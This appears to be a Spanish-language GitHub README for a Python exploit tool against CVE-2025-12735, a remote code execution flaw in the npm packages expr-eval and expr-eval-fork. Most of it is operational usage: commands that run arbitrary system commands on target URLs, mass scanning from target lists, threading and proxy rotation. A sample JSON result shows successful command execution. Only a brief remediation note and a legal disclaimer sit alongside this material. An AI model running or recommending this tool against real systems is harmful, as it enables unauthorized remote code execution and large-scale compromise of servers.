
Herramienta de investigación de seguridad para detectar y probar CVE-2025-12735 (vulnerabilidad RCE de expr-eval)
Una herramienta de investigación de seguridad para detectar y probar la vulnerabilidad CVE-2025-12735 en los paquetes npm expr-eval y expr-eval-fork.
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta únicamente en sistemas de su propiedad o para los cuales tenga permiso explícito por escrito para realizar pruebas.
CVE-2025-12735 es una vulnerabilidad crítica de Ejecución Remota de Código en los paquetes npm expr-eval y expr-eval-fork. Esta vulnerabilidad permite a los atacantes definir funciones arbitrarias dentro del objeto context utilizado por el analizador, permitiendo la inyección de código malicioso que ejecuta comandos a nivel de sistema.
Puntuación CVSS: 9.8 (Crítica)
Versiones afectadas: expr-eval-fork < 3.0.0
Versión corregida: expr-eval-fork v3.0.0+
# Clone the repository
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Install dependencies
pip install -r requirements.txt
# Make script executable (optional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Download the script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Install dependencies
pip install requests
# Single target
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Execute custom command
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# With threading for faster scanning
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Verbose output for debugging
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url URL objetivo
-f, --file Archivo que contiene las URL objetivo (una por línea)
-c, --command Comando a ejecutar (predeterminado: id)
-t, --threads Número de hilos (predeterminado: 1)
-o, --output Archivo de salida (predeterminado: uknf_expr_eval_results.json)
-v, --verbose Habilitar registro detallado
--proxy URL del proxy (ej., http://127.0.0.1:8080)
--proxy-list Archivo que contiene las URL de proxy (una por línea)
El script genera un archivo JSON con resultados detallados:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Si estás usando expr-eval o expr-eval-fork:
Actualiza inmediatamente:
npm install expr-eval-fork@latest
Aplica el parche de seguridad:
Implementa validación de entrada:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Single proxy
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
¡Las contribuciones son bienvenidas! No dudes en enviar una Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si encuentras algún problema o tienes sugerencias, por favor abre un issue en GitHub.
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Si encuentras útil esta herramienta, ¡considera darle una estrella en GitHub!
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los autores no son responsables de ningún uso indebido o daño causado por este programa. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de probar cualquier sistema.
Si encuentras útil esta herramienta y deseas apoyar el proyecto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
¡Gracias por tu apoyo! 🙏